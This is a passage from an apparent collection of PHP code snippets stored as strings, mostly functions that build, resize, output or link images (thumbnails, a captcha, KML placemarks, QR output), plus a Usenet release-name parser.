?></div>\n\t\t<div style=\"clear:both;\">\n\t\t\t<div class=\"image-<?php echo($row['Ref_No']); ?>\">\n\t\t\t\t<img src=\"https://www.hpacde.org.uk/picturethepast/jpgl_<?php echo($url_end) ?>\">\t\n\t\t\t</div>\n\t\t\t<div class=\"text-<?php echo($row['Ref_No']); ?>\" style=\"display:none;clear:both;\">\n\t\t\t\t<?php echo($sanitised_description); ?>\n\t\t\t</div>\n\t\t</div>\n\t\t]]></description>\n\t\t<LookAt>\n\t\t\t<longitude><?php echo(htmlspecialchars($row['MapLat'])) ?></longitude>\n\t\t\t<latitude><?php echo(htmlspecialchars($row['MapLong']))?></latitude>\n\t\t\t<altitude>0</altitude>\n\t\t\t<range>24</range>\n\t\t\t<tilt>0</tilt>\n\t\t\t<heading>0</heading>\n\t\t</LookAt>\n\t\t<styleUrl>#photo_placemark_style</styleUrl>\n\t\t<Point>\n\t\t\t<coordinates><?php echo(htmlspecialchars($row['MapLat']) . ',' . htmlspecialchars($row['MapLong'])) ?></coordinates>\n\t\t</Point>\n\t</Placemark>\n<?php \n\t$output = ob_get_clean();\n\treturn $output;\n}",
"public function image();",
"public function image();",
"public function getPhoto() : string {\n $hash = crc32($this->name);\n $filename = self::PHOTO_DIRECTORY . $hash . '.png';\n\n if (file_exists($filename))\n return '/images/photos/' . $hash . '.png';\n\n return '/images/no-photo.png';\n }",
"function cpl_wra() {\n\t//You May NOT Edit It!\n\techo \"<img src='http://www.auburnflame.com/brk1.gif'>\";\n}",
"public function getImage() : string\n {\n return $this->image;\n }",
"public function createImage3(){\n $this->triangleCreate(240, 100, 290, 50, 340, 100);\n $this->triangleCreate(40, 300, 90, 250, 140, 300);\n $this->triangleCreate(440, 300, 490, 250, 540, 300);\n $this->createLine(265, 100, 105, 265);\n $this->createLine(315, 100, 475, 265);\n $this->createLine(125, 285, 455, 285);\n $this->generateImage();\n }",
"public function preview_image()\n {\n return 'contact-area/04.png';\n }",
"public function GetKroppen() {\r\n\r\n $html = <<<EOD\r\n <!-- HÄR KOMMER KROPPEN -->\r\n <g id=\"kroppen\">\r\n <ellipse fill=\"none\" stroke=\"#000000\" stroke-miterlimit=\"10\" cx=\"200.839\" cy=\"97.527\" rx=\"15.149\" ry=\"24.238\"/>\r\n </g>\r\nEOD;\r\n return $html;\r\n }",
"private function generateThumbnailImagick(){\n\t}",
"function view_builder_logo_inside_project($img,$w,$h,$alt)\n{\n if(file_exists(\"../builder/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../builder/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../builder/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;}",
"function createImage($width=135,$height=45)\r\n\t{\r\n\t\theader(\"Content-type:image/jpeg\");\r\n\r\n\t\t// create an image \r\n\t\t$im=imagecreate($width,$height);\r\n\r\n\t\t// white background\r\n\t\t$black=imagecolorallocate($im,0,0,0);\r\n\r\n\r\n\t\t// black text and grid\r\n\t\t$white=imagecolorallocate($im,255,255,255);\r\n $other=imagecolorallocate($im,0,0,255);\r\n\t\t// get a random number to start drawing out grid from\r\n\t\t$num=rand(0,5);\r\n\r\n\t\t// draw vertical bars\r\n\t\tfor($i=$num;$i<=$width;$i+=10)\r\n\t\t\timageline($im,$i,0,$i,45,$other);\r\n\r\n\t\t// draw horizontal bars\r\n\t\tfor($i=$num;$i<=$height+10;$i+=10)\r\n\t\t\timageline($im,0,$i,135,$i,$other);\r\n\r\n\t\t// generate a random string\r\n\t\t$string=substr(strtolower(md5(uniqid(rand(),1))),0,7);\r\n\t\t\r\n\t\t$string=str_replace('2','a',$string);\r\n\t\t$string=str_replace('l','p',$string);\r\n\t\t$string=str_replace('1','h',$string);\r\n\t\t$string=str_replace('0','y',$string);\r\n\t\t$string=str_replace('o','y',$string);\r\n\r\n\t\t// place this string into the image\r\n\t\t$font = imageloadfont('anticlimax.gdf'); \r\n\r\n imagestring($im,$font,10,10,$string, $white);\r\n\t\t// create the image and send to browser\r\n\t\timagejpeg($im);\r\n\t\t// destroy the image\r\n\t\timagedestroy($im);\r\n\r\n\t\t// return the random text generated\r\n\t\treturn $this->text=$string;\r\n\t}",
"function getImageId();",
"public function getPictureName()\n {\n $pictureName = \"nopicture.png\";\n $articleModel = new ArticleModel();\n $articles = $articleModel->where(\"id_products\", $this->id_products)->findAll();\n\n if (count($articles) > 0) {\n\n if ($articles[0]->getPicture() != null) {\n $pictureName = $articles[0]->getPicture()->name . \".\" . $articles[0]->getPicture()->extension;\n }\n }\n return $pictureName;\n }",
"public function preview_image()\n {\n return 'contact-area/02.png';\n }",
"function GetImage()\n {\n //Obtient les images par défaut de chaque produit de la fiche\n $ficheProduct = new EeCommerceFicheProductProduct($this->Core);\n $ficheProduct->AddArgument(new Argument(\"EeCommerceFicheProductProduct\", \"FicheId\", EQUAL, $this->IdEntite));\n $products = $ficheProduct->GetByArg();\n \n $html = \"<div>\";\n \n foreach($products as $product)\n {\n $img = new Image($product->Product->Value->ImageDefault->Value);\n $img->Alt = $img->Title = $product->Product->Value->NameProduct->Value;\n \n $html .= \"<div class='col-md-4' >\" . $img->Show().\"</div>\"; \n }\n \n $html .= \"</div>\";\n \n return $html;\n \n }",
"public function getSliderImageNameAttribute(){\n $photo_src=explode('.',$this->attributes['name']);\n if(count($photo_src)>1)\n {\n $photo_details = pathinfo($this->attributes['name']); \n $name = @$photo_details['filename'].'_1440x960.'.@$photo_details['extension'];\n return url('/').'/images/multiple_rooms/'.$this->attributes['multiple_room_id'].'/'.$name;\n }\n else\n {\n $options['secure']=TRUE;\n $options['width']=1440;\n $options['height']=960;\n $options['crop']='fill';\n return $src=\\Cloudder::show($this->attributes['name'],$options);\n }\n }",
"function build_post()\n{\n $user_id = $_SESSION['id'];\n $body = $_POST['file'];\n $sticker_id = $_POST['sticker_id'];\n $sticker_coord_x = $_POST['sticker_coord_x'];\n $sticker_coord_y = $_POST['sticker_coord_y'];\n $description = $_POST['description'];\n\n if (empty($body) || empty($user_id))\n {\n echo \"oooops\";\n return FALSE;\n }\n\n // Trim off encoding string\n $prefix = strpos($body, ',') + strlen(',');\n $data = substr($body, $prefix);\n\n // Decode into binary image\n $selected_photo = base64_decode($data);\n\n // Call file name function and render image function\n $filename = generate_filename($user_id);\n// error_log(\"!!!!!\");\n// error_log($sticker_id);\n// error_log(empty($sticker_coord_x));\n// error_log($sticker_coord_y);\n// error_log(\"Tuta:\". boolval(empty($selected_photo)));\n// error_log($filename);\n $result = render_image($sticker_id, $sticker_coord_x, $sticker_coord_y, $selected_photo, $filename);\n\n if (!$result)\n {\n echo 'error';\n return FALSE;\n }\n\n if (!add_post($user_id, $filename, $description))\n {\n echo '<p class=\"error\"> Could not upload :( </p>';\n return FALSE;\n }\n echo $filename;\n return TRUE;\n}",
"function LayoutGetImage($params=null) // must return string\n{\n global $DB, $sdurl, $userinfo, $plugin_names, $plugin_folder_to_id_arr;\n\n // Below are several security checks to assure, that the passed on plugin-id\n // is valid, the plugin and it's image path exist etc.\n if( !isset($params) || !is_array($params) || (count($params) < 1) ||\n (count($params) > 2) || empty($userinfo['pluginviewids']) )\n {\n return '';\n }\n $image_id = Is_Valid_Number($params[0], 0, 1);\n $plugin_id = 17; //default!\n $w = $h = 0;\n if(isset($params[1]))\n {\n if($p_arr = @preg_split('#,#',$params[1],0,PREG_SPLIT_NO_EMPTY))\n {\n $plugin_id = Is_Valid_Number($p_arr[0], 17, 1);\n $p_arr = array_slice($p_arr,1);\n foreach($p_arr as $p)\n {\n if($p2_arr = @preg_split('#=#',$p,0,PREG_SPLIT_NO_EMPTY))\n {\n if(($p2_arr[0]=='w') && isset($p2_arr[1])) $w = intval($p2_arr[1]);\n if(($p2_arr[0]=='h') && isset($p2_arr[1])) $h = intval($p2_arr[1]);\n }\n }\n\n }\n }\n\n // Sanity checks:\n if( ($image_id < 0) || !$plugin_id || !isset($plugin_names[$plugin_id]) ||\n !in_array($plugin_id, $userinfo['pluginviewids']) )\n {\n return '';\n }\n\n if(empty($image_id))\n {\n $image_id = ' ORDER BY RAND() LIMIT 1';\n }\n else\n {\n $image_id = ' AND i.imageid = '.(int)$image_id;\n }\n $columns = '';\n if($plugin_id >= 5000)\n {\n $columns= ', s.folder, s.access_view';\n }\n\n if(!$folder = array_search($plugin_id, $plugin_folder_to_id_arr)) return '';\n $folder = 'plugins/'.$folder.'/images/';\n if(!is_readable(ROOT_PATH.$folder)) return '';\n\n $sections = empty($userinfo['categoryviewids']) ? '0' : implode(',',$userinfo['categoryviewids']);\n $DB->ignore_error = true;\n $image_arr = $DB->query_first(\"SELECT i.* $columns FROM {p\".$plugin_id.'_images} i'.\n ' INNER JOIN {p'.$plugin_id.'_sections} s ON s.sectionid = i.sectionid'.\n ' WHERE i.activated = 1 AND s.activated = 1 '.\n ' AND s.sectionid IN (%s) %s',\n $sections, $image_id);\n $DB->ignore_error = false;\n\n if(!$image_arr || empty($image_arr['imageid']))\n {\n return 'Image not available!';\n }\n $imagetitle = htmlspecialchars($image_arr['title'], ENT_COMPAT);\n if(isset($image_arr['folder'])) $folder .= $image_arr['folder']; // Media Gallery subfolder support\n $img_md_exists = file_exists(ROOT_PATH.$folder . 'md_' . $image_arr['filename']);\n $image_path = $folder . ($img_md_exists ? 'md_' : '') . $image_arr['filename'];\n if(!$w || !$h)\n {\n list($w, $h, $type, $attr) = @getimagesize(ROOT_PATH.$image_path);\n }\n\n return '<img title=\"' . $imagetitle . '\" alt=\"image\" src=\"' .\n $sdurl. $image_path . '\" width=\"' . $w . '\" height=\"' . $h . '\" />';\n\n}",
"function getThumbnail()\n\t{\n\t\t$id= FormUtil :: getPassedValue('id', isset ($args['id']) ? $args['id'] : null, 'GET');\n\t\t$width= FormUtil :: getPassedValue('width', isset ($args['width']) ? $args['width'] : null, 'GET');\n\t\tif (!SecurityUtil :: checkPermission('crpLicense::License', '::', ACCESS_READ))\n\t\t\tpnShutDown();\n\n\t\t$file= $this->dao->getFile($id, 'image', true);\n\t\t$modifiedDate= $this->dao->getLicenseDate($id, 'lu_date');\n\n\t\tif (!(is_numeric($width) && $width > 0))\n\t\t\t$width= pnModGetVar('crpLicense', 'image_width');\n\t\t$params['width']= $width; //\t$params['append_ghosted']=1;\n\t\t$params['modifiedDate']= $modifiedDate;\n\n\t\tcrpLicense :: imageGetThumbnail($file['binary_data'], $file['name'], $file['content_type'], $params);\n\t}",
"public function getPhoto() {\n return DATADIR . 'alumni/' . $this->shortName . '.jpg';\n }",
"public function get_full_name(){\n\t\treturn \"{$this->id}_full.png\";\n\t}",
"function make_vImage($element){\n\t\t$dir=base_url().$element->getFile();\n\t\tif(substr($element->getFile(),0,7)=='http://'){\n\t\t\t$dir=$element->getFile();\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si están definidos ancho y alto, usamos esos\n\t\telse if($element->getWidth() or $element->getHeight()){\n\t\t\t$width=$element->getWidth();\n\t\t\t$height=$element->getHeight();\n\t\t}\n\t\t// Si no, miramos el tamaño de la imagen\n\t\telse list($width,$height)=getimagesize($element->getFile());\n\t\t\n\t\treturn '<img'.$this->setStyle($element).($width?' width=\"'.$width.'\"':'').($height?' height=\"'.$height.'\"':'').' alt=\"'.$element->getAltText().'\" src=\"'.\n\t\t\t$dir.'\" />\n\t\t';\n\t}",
"public function getAsString() {\n\t\t$image = $this->getImage();\n\t\t$string = $image->toString();\n\n\t\tif ($string === false) {\n\t\t\t$this->handleError($image);\n\t\t} else {\n\t\t\treturn $string;\n\t\t}\n\t}",
"function createThumb($file)\n{\n $fileParts\t=\tpathinfo($file);\n $fileName\t=\t$fileParts['filename'];\n $ext\t\t=\t$fileParts['extension'];\n $imagePath = ROOT . \"/\" . IMGPATH . $file;\n\n // thumb naam\n $bestandsnaam = $fileName . \"_thumbs\";\n\n // Bepaal de dimensies van de verkleining\n $thumbDimensions['w']\t=\t50;\n $thumbDimensions['h']\t=\t50;\n\n // Haal de breedte en de hoogte op uit het originele bestand\n list($width, $height)\t=\tgetimagesize($imagePath); // kent automatisch de value uit getimagesize (retunt array(width, height)) toe aan de variabele in de list in de overeenstemmende volgorde\n\n // get Dimension type\n if($width == $height)\n {\n $dimension = 'square';\n }elseif($width>$height)\n {\n $dimension = 'landscape';\n }else {\n $dimension = 'portrait';\n }\n // Controleer om welke extensie het gaat en voer de overeenstemmende methode uit\n switch ($ext)\n {\n case ('jpg'):\n case ('jpeg'):\n $source \t= \timagecreatefromjpeg($imagePath);\n break;\n\n case ('png'):\n $source \t=\timagecreatefrompng($imagePath);\n break;\n\n case ('gif'):\n $source \t=\timagecreatefromgif($imagePath);\n break;\n }\n\n //CROP based on dimension type\n switch($dimension)\n {\n case 'landscape':\n $cropped = imagecrop($source, ['x' => (($width-$height)/2), 'y' => 0, 'width' => $height, 'height' => $height]);\n\n $width = $height;\n break;\n\n case 'portrait':\n $cropped = imagecrop($source, ['x' => 0, 'y' => (($height-$width)/2), 'width' => $width, 'height' => $width]);\n\n $height = $width;\n break;\n\n default: $cropped = $source;\n }\n // Creëer een leeg canvas met de dimensies van de nieuwe afbeelding\n $thumb \t=\timagecreatetruecolor($thumbDimensions['w'], $thumbDimensions['h']);\n\n // Resize het origineel naar de gewenste dimensies en plaats het de verkleinde versie in het nieuwe canvas.\n // nieuwe canvas = destination, oude canvas = source, destination x, destination y, source x, source y, destination width, destination height, source width, source height\n imagecopyresized($thumb, $cropped, 0,0,0,0, $thumbDimensions['w'],$thumbDimensions['h'], $width, $height);\n\n // Slaag het nieuwe canvas op (canvas, (folder).fileName, kwaliteit)\n $resized \t= \timagejpeg($thumb, (ROOT . \"/\" . IMGPATH. \"thumbs/\" . $bestandsnaam . \".\" . $ext), 100);\n\n return $resized;\n}",
"function createImage($string){\n\t\t//pr($string);die('okszzz');\n\t\t$data\t= base64_decode($string);\n\t\t//echo ($data);die('oksss');\n\t\t\n\t\t$db_img = imagecreatefromstring($data); \n\t\t//.pr($db_img);die;\n\t\t$type = \"jpg\";\n\t\t$name\t= '';\n\t\tif ($db_img !== false) {\n\t\t\tswitch ($type) {\n\t\t\tcase \"jpg\":\n\t\t\t$rand \t= rand(0000, 9999);\n\t\t\t$name\t= $rand.\"user.jpg\";\n\t\t\t\n\t\t\timagejpeg($db_img,$name, '100');\n\t\t\t$img = imagejpeg($db_img,$name, '100');\n\t\t\tbreak;\n\t\t\t\n\t\t}\n\t\t\n\n\t\t}\n\t\treturn $name;\n\t\n\t\n\t}",
"public function cd_image()\n\t{\n\t\tif (preg_match('/^\\[www\\..+?\\]-\\[(.+?)\\]-\\[\\d+\\/\\d+\\] \".+?\" - \\d+[,.]\\d+ [mMkKgG][bB] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//Slender.The.Arrival-WaLMaRT.PC - [01/26] - \"wmt-stal.nfo\" - yEnc\n\t\t//The.Night.of.the.Rabbit-FLT - [03/66] - \"flt-notr.r00\" - FAiRLIGHT - 5,10 GB - yEnc\n\t\t//Resident.Evil.Revelations-FLT - PC GAME - [03/97] - \"Resident.Evil.Revelations-FLT.r00\" - FAiRLIGHT - yEnc\n\t\t//Afterfall.Insanity.Dirty.Arena.Edition-WaLMaRT - [MULTI6][PCDVD] - [02/45] - \"wmt-adae.r00\" - PC GAME - yEnc\n\t\tif (preg_match('/^([a-zA-Z0-9.-]{10,}) -( PC GAME -| [A-Z0-9\\[\\]]+ -)? \\[\\d+\\/\\d+\\] - \".+?\" - (.+? - (\\d+[,.]\\d+ [mMkKgG][bB] - )?)?yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[01/46] - Crashtime 5 Undercover RELOADED - \"rld-ct5u.nfo\" - PC - yEnc\n\t\t//[01/76] - Of.Orcs.And.Men-SKIDROW - \"sr-oforcsandmen.nfo\" - yEnc\n\t\t//PC Game - [01/71] - MotoGP 13-RELOADED Including NoDVD Fix - \"MotoGP 13-RELOADED Including NoDVD Fix nfo\" - yEnc\n\t\tif (preg_match('/^(PC Game - )?\\[\\d+\\/\\d+\\] - (.+?) - \".+?\" -( .+? -)? yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t}\n\t\t//Magrunner Dark Pulse FLT (FAiRLIGHT) - [02/70] - \"flt-madp par2\" - PC - yEnc\n\t\t//MotoGP 13 RELOADED - [01/71] - \"rld-motogp13 nfo\" - PC - yEnc\n\t\t//Dracula 4: Shadow of the Dragon FAiRLIGHT - [01/36] - \"flt-drc4 nfo\" - PC - yEnc\n\t\tif (preg_match('/^([A-Za-z0-9][a-zA-Z0-9: ]{8,}(-[a-zA-Z]+)?)( \\(.+?\\)| - [\\[A-Z0-9\\]]+)? - \\[\\d+\\/\\d+\\] - \".+?\" - .+? - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\t//[NEW PC GAME] - Lumber.island-WaLMaRT - \"wmt-lisd.nfo\" - [01/18] - yEnc\n\t\t//Trine.2.Complete.Story-SKIDROW - \"sr-trine2completestory.nfo\" - [01/78] - yEnc\n\t\tif (preg_match('/^(\\[[A-Z ]+\\] - )?([a-zA-Z0-9.-]{10,}) - \".+?\" - \\[\\d+\\/\\d+\\] - yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[2];\n\t\t} //Uploader.Presents-Metal.Gear.Rising.Revengeance-RELOADED(51/65]\"rld-megerire.r48\" yEnc\n\t\tif (preg_match('/^Uploader\\.Presents-(.+)[\\(\\[]\\d+\\/\\d+\\]\".+\" yEnc$/',\n\t\t\t\t\t $this->subject,\n\t\t\t\t\t $match)\n\t\t) {\n\t\t\treturn $match[1];\n\t\t}\n\t\treturn array(\n\t\t\t\"cleansubject\" => $this->releaseCleanerHelper($this->subject), \"properlynamed\" => false\n\t\t);\n\t}",
"public function getNekoImg() {\n\t\t$imgData = $this->getPhotosData();\n\t\t$this->chkFlickrErr($imgData);\n\n\t\t$this->setPhotoData($imgData);\n\n\t\t$userInfo = $this->getUserInfo();\n\t\t$this->chkFlickrErr($userInfo);\n\n\t\t$this->setUserData($userInfo);\n\n\t\t$this->createImgUri();\n\t\t$this->getImgSize();\n\n\t\t$this->setCreditInfo();\n\t\t$this->createImgTag();\n\n\t\t$imgNeko = $this->imgNeko;\n\t\t$creditInfo = $this->creditInfo;\n\t\t$this->Controller->set(compact(\"imgNeko\", \"creditInfo\"));\n\t}",
"function getAtkImag($atk) {\n $atkimgpath = 'img/atkimg/' . $atk . '.jpg';\n if (file_exists($atkimgpath)) {\n $atkimg = $atkimgpath;\n } else {\n $atkimg = 'img/atkimg/def.jpg';\n }\n return $atkimg;\n}",
"function makeBandeau(){\n $bandeau = \"<div id=\\\"title\\\">\n <h1>\n <img src=\\\"images/bandeau.jpg\\\" />\n </h1>\n </div>\";\n echo $bandeau;\n}",
"function miseenformeIMG($img_loc,$width,$height,$text){\n\t// Si format paysage \n\tif ($width > $height){\n\t\t// Si $width > 400 juste l'image pas de texte\n\t\tif ($width > 400){\n\t\t\t$lestyleimg = ' style=\"float:left;max-width:100%;max-height: auto;padding-right:1em;\" ';\n\t\t\t$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\";\n\t\t// L'image est petite nous plaçon l'image et le texte\n\t\t} else {\n\t\t\t$lestyleimg = ' style=\"float:left;max-width:200px;max-height: 240px;padding-right:1em;\" ';\n\t\t\t//$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".FunctionsMag::txtCHAP($text);\n\t\t\t$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".stripTAG(TruncateHTML::truncateChars($text, '200', '...'));\n\t\t}\n\t// Nous sommes en format portrait nous plaçons l'image et le texte\t\n\t} else {\n\t\t$lestyleimg = ' style=\"float:left;max-width:auto;max-height: 240px;padding-right:1em;\" ';\n\t\t//$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".FunctionsMag::txtCHAP($text);\n\t\t$valretour = \"<img src=\\\"\".$img_loc.\"\\\"\".$lestyleimg.\"/>\".stripTAG(TruncateHTML::truncateChars($text, '200', '...'));\n\t}\n\treturn $valretour;\n}",
"public function GetImage($type=NULL){\r\n\t\t$GTemp=$this->GTemp;\r\n\t\tif ($type!=NULL){\r\n\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$type.\".jpg\");\r\n\t\t\t$width=$this->width;\r\n\t\t\t$height=$this->height;\r\n\t\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t\treturn $hndl_dest;\r\n\t\t}\r\n\t\t$types=$this->WidgetClass()->Types();\r\n\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$types[0].\".jpg\");\r\n\t\t$width=(sizeof($types))*($this->width);\r\n\t\t$height=$this->height;\r\n\t\t$hndl_dest=imagecreatetruecolor($width,$height);\r\n\t\timagecopy($hndl_dest,$hndl,0,0,$this->x1,$this->y1,$this->width,$this->height);\r\n\t\t$counter=0;\r\n\t\tif ($types!=''){\r\n\t\t\tforeach ($types as $index => $val){\r\n\t\t\t\tif ($index==0) continue;\r\n\t\t\t\t$counter++;\r\n\t\t\t\timagedestroy($hndl);\r\n\t\t\t\t$hndl=imagecreatefromjpeg(GTemplate::GetPath($GTemp->id).DS.$val.\".jpg\");\r\n\t\t\t\timagecopymerge($hndl_dest,$hndl,($counter)*$this->width,0,\r\n\t\t\t\t\t$this->x1,$this->y1,$this->width,$this->height,100);\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $hndl_dest;\r\n\t}",
"function getCover () {\n\n}",
"private function generateThumbnailCmd(){\n\t}",
"private function get_title_img()\n {\n $this->char_count = count($this->strings);\n $this->init_img();\n $font_size = L_FONT_SIZE / $this->char_count;\n $img_y = (L_IMG_HEIGHT + $font_size) / 2;\n $this->create_img($this->string,$font_size,$img_y);\n }",
"function show_art($file,$width,$height) {\n global $directory, $year,$media_url, $collection;\n $file = preg_replace('-\\.gif$-',\".png\",$file);\n // Scale down figures\n if ($width > 860) { $w = $width; $width = 860; $height *= 860/$w; }\n print \"<div><img src='$media_url/$collection/\" . strtolower(\"$directory/$file\") . \"'\"\n . ($width > 0 ? \" width='$width'\" : \"\")\n . ($height > 0 ? \" height='$height'\" : \"\")\n . \" /></div>\\n\";\n}",
"protected function dumpImage():string{\n\t\tob_start();\n\n\t\ttry{\n\n\t\t\tswitch($this->options->outputType){\n\t\t\t\tcase QROutputInterface::GDIMAGE_GIF:\n\t\t\t\t\timagegif($this->image);\n\t\t\t\t\tbreak;\n\t\t\t\tcase QROutputInterface::GDIMAGE_JPG:\n\t\t\t\t\timagejpeg($this->image, null, max(0, min(100, $this->options->jpegQuality)));\n\t\t\t\t\tbreak;\n\t\t\t\t// silently default to png output\n\t\t\t\tcase QROutputInterface::GDIMAGE_PNG:\n\t\t\t\tdefault:\n\t\t\t\t\timagepng($this->image, null, max(-1, min(9, $this->options->pngCompression)));\n\t\t\t}\n\n\t\t}\n\t\t// not going to cover edge cases\n\t\t// @codeCoverageIgnoreStart\n\t\tcatch(Throwable $e){\n\t\t\tthrow new QRCodeOutputException($e->getMessage());\n\t\t}\n\t\t// @codeCoverageIgnoreEnd\n\n\t\t$imageData = ob_get_contents();\n\t\timagedestroy($this->image);\n\n\t\tob_end_clean();\n\n\t\treturn $imageData;\n\t}",
"public function picture(){\n }",
"private function get_type_img()\n {\n $this->multi_byte_string_to_array();\n foreach($this->strings as $char)\n {\n $this->init_img();\n $this->create_img($char);\n }\n }",
"function getImage($var, $type){\n\t\t// $data = getRealm();\n\t\tif($type == \"champion\"){\n\t\t\t$data2 = code2key($var,\"champions\");\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $data2 . \".png' width = 50 height = 50>\";\n\t\t}else if($type == \"spell\"){\n\t\t\t$data2 = code2key($var,\"spells\");\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $data2 . \".png' width = 50 height = 50>\";\n\t\t}\n\t\telse{\n\t\t\treturn \"<img src='/data/4.12.2/img/\" . $type . \"/\" . $var . \".png' width = 50 height = 50>\";\n\t\t}\n\t}",
"public function test0() {\r\n// \techo (4418388-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595); echo \"<br>\";\r\n// \techo (3255295-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595) / (3255295-5431595); echo \"<br>\";\r\n// \techo (564939-300344) * (4418388-5431595) / (3255295-5431595) + 300344;\r\n\r\n// create a blank image\r\n$image = imagecreate(5000, 5300);\r\n\r\n// fill the background color\r\n$bg = imagecolorallocate($image, 255, 255, 255);\r\n\r\n// choose a color for the polygon\r\n$col_poly = imagecolorallocate($image, 0, 0, 0);\r\n\r\n// draw the polygon\r\nimagepolygon($image,\r\n array (\r\n 50, 1491,\r\n 2729, 5276,\r\n 4113, 3335,\r\n 4310, 89\r\n ),\r\n 4,\r\n $col_poly);\r\n\r\nimagepolygon($image,\r\n array (\r\n 2958, 3854,\r\n 2960, 3854,\r\n 2960, 3856,\r\n 2958, 3856\r\n ),\r\n 4,\r\n $col_poly);\r\n//$text_color = imagecolorallocate($image, 233, 14, 91);\r\n//imagestring($image, 1, 1380, 439, \"1380, 439\", $text_color);\r\n//imagestring($image, 1, 426, 918, \"426, 918\", $text_color);\r\n//imagestring($image, 1, 1028, 2258, \"1028, 2258\", $text_color);\r\n//imagestring($image, 1, 4028, 1570, \"4028, 1570\", $text_color);\r\n//imagestring($image, 1, 796, 1414, \"796, 1414\", $text_color);\r\nheader(\"Content-type: image/png\");\r\nimagepng($image);\r\n\r\n\r\n }",
"protected function getImageName() {\n\n\t\treturn NULL;\n\t}",
"function ImgMrFox()\n{\n \treturn GetWoodyImgQuote('fantasticmrfox.jpg', '了不起的狐狸爸爸会干很多事情,但是刺猬才会干大事。');\n}",
"function print_image($path){\n $image = new Imagick();\n $image->readImage(_LOCAL_.$path);\n $height = $image->getImageHeight();\n $width = $image->getImageWidth();\n\n $canvas = new Imagick();\n $canvas->newImage($width,$height,new ImagickPixel('white'));\n $canvas->setImageFormat('png');\n $canvas->compositeImage($image,imagick::COMPOSITE_OVER, 0, 0);\n\n header('Content-type: image/png');\n echo $canvas;\n $image->destroy();\n $canvas->destroy();\n}",
"public function getImage()\n {\n // merge text options with generation options\n $queryArgs = array_merge(\n $this->getOptions(),\n array(\n \t'text' => $this->getText(),\n )\n );\n \n $url = self::GENERATOR_SERVICE_URL . '?' . http_build_query($queryArgs);\n \n // Set curl options and execute the request\n $ch = curl_init();\n curl_setopt($ch, CURLOPT_URL, $url);\n curl_setopt($ch, CURLOPT_HEADER, 0);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); \n\n $result = curl_exec($ch);\n \n // if the request fails, throw exception\n if ($result === false) {\n require_once 'Ncstate/Brand/Exception.php';\n throw new Ncstate_Brand_Exception('CURL Error: ' . curl_error($ch));\n }\n \n $im = imagecreatefromstring($result);\n curl_close($ch); \n \n return $this->_store($im);\n }",
"protected function imageName() {\n\n\t\treturn NULL;\n\t}",
"public function __toString()\n {\n return $this->width . 'x' . $this->height;\n }",
"function printFull($name, $difficulty, $topic1, $topic2)\n{\n echo '\n <a href=\"' . preg_replace('/[^a-z\\d]/i', '', $name) . '/\" class=\"bgouter\">\n <!--There are special square icons for committees that are stored at /media/icons/committees/-->\n <div style=\"background-image: url(/media/icons/committees/' . strtolower($name) . '.jpg);background-size: cover\">\n <div class=\"w outer\">\n <div class=\"hoverborder\" style=\"width:260px; padding: 10px;height:260px;\">\n <h1 style=\"font-size: ';\n //I had to make the font size smaller for constitution because it overflowed\n if ($name != \"constitution\") echo '46'; else echo '28';\n echo 'px\">' . $name . '</h1>\n <h6>' . printCommittee($difficulty) . '</h6>\n <div class=\"topic\">\n <p>' . $topic1 . '</p>\n <p>' . $topic2 . '</p>\n </div>\n </div>\n </div>\n </div>\n <img src=\"/media/icons/committees/white/' . strtolower($name) . '.png\" class=\"bgouterpic\">\n </a>\n ';\n}",
"function view_project_plan($img,$w,$h,$alt)\n{\n if(file_exists(\"../project/plans/\".$img) && $img!='')\n\n $temp= \"<img src=\\\"../include/phpThumb.php?src=../project/plans/\".$img.\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" \n alt='$alt' class='floatL mar12R' />\";\n else\n $temp =\"<img src=\\\"../include/phpThumb.php?src=../project/nophoto.jpg\\\"&w=$w&h=$h&iar=1\\\"; border='0' width=\\\"$w\\\" height=\\\"$h\\\" alt='$alt' class='floatL mar12R'/>\";\n \n\treturn $temp;\n}",
